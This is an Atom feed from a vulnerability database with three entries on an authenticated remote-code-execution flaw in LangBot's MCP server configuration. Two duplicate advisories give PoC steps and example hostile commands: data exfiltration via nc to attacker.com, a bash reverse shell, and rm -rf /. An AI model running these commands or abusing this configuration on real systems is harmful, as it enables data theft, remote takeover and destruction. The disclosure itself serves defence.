<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-09-29T19:25:16.348300+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-54449</id>
    <title>fkie_cve-2026-54449</title>
    <updated>2026-09-29T19:25:16.384700+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>LangBot is a global IM bot platform designed for LLMs. In version 4.10.7 and earlier, any authenticated user can add or change an STDIO MCP server configuration without an adequate authorization boundary. In src/langbot/pkg/provider/tools/loaders/mcp.py, StdioServerParameters accepts the configured command and arguments and starts a server-side subprocess on the LangBot server. An attacker who can sign up or obtain an account can use the Extensions MCP configuration to execute arbitrary commands with the privileges of the LangBot service, enabling data disclosure, modification, and service disruption. No fixed version is available as of this review.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-54449"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-3pvh-63gf-j9mw</id>
    <title>GHSA-3pvh-63gf-j9mw — LangBot: Authenticated RCE Via MCP Configuration</title>
    <updated>2026-09-29T19:25:16.384786+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: langbot</p>
<p>### Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.</p>
<p>### Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.</p>
<p>Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.</p>
<p>### PoC
1. Open the LangBot server
2. Navigate to Extensions
3. Open the "MCP" tab and press "Add"
4. Choose an STDIO server configuration
5. Add any arbitrary command with arguments
&lt;img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" /&gt;</p>
<p>Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.</p>
<p>### Impact
This is an authenticated remote code execution vulnerability (…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-3pvh-63gf-j9mw"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3473</id>
    <title>PYSEC-2026-3473 — LangBot: Authenticated RCE Via MCP Configuration</title>
    <updated>2026-09-29T19:25:16.384846+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: langbot</p>
<p>### Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.</p>
<p>### Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.</p>
<p>Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.</p>
<p>### PoC
1. Open the LangBot server
2. Navigate to Extensions
3. Open the "MCP" tab and press "Add"
4. Choose an STDIO server configuration
5. Add any arbitrary command with arguments
&lt;img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" /&gt;</p>
<p>Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.</p>
<p>### Impact
This is an authenticated remote code execution vulnerability (…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3473"/>
  </entry>
</feed>
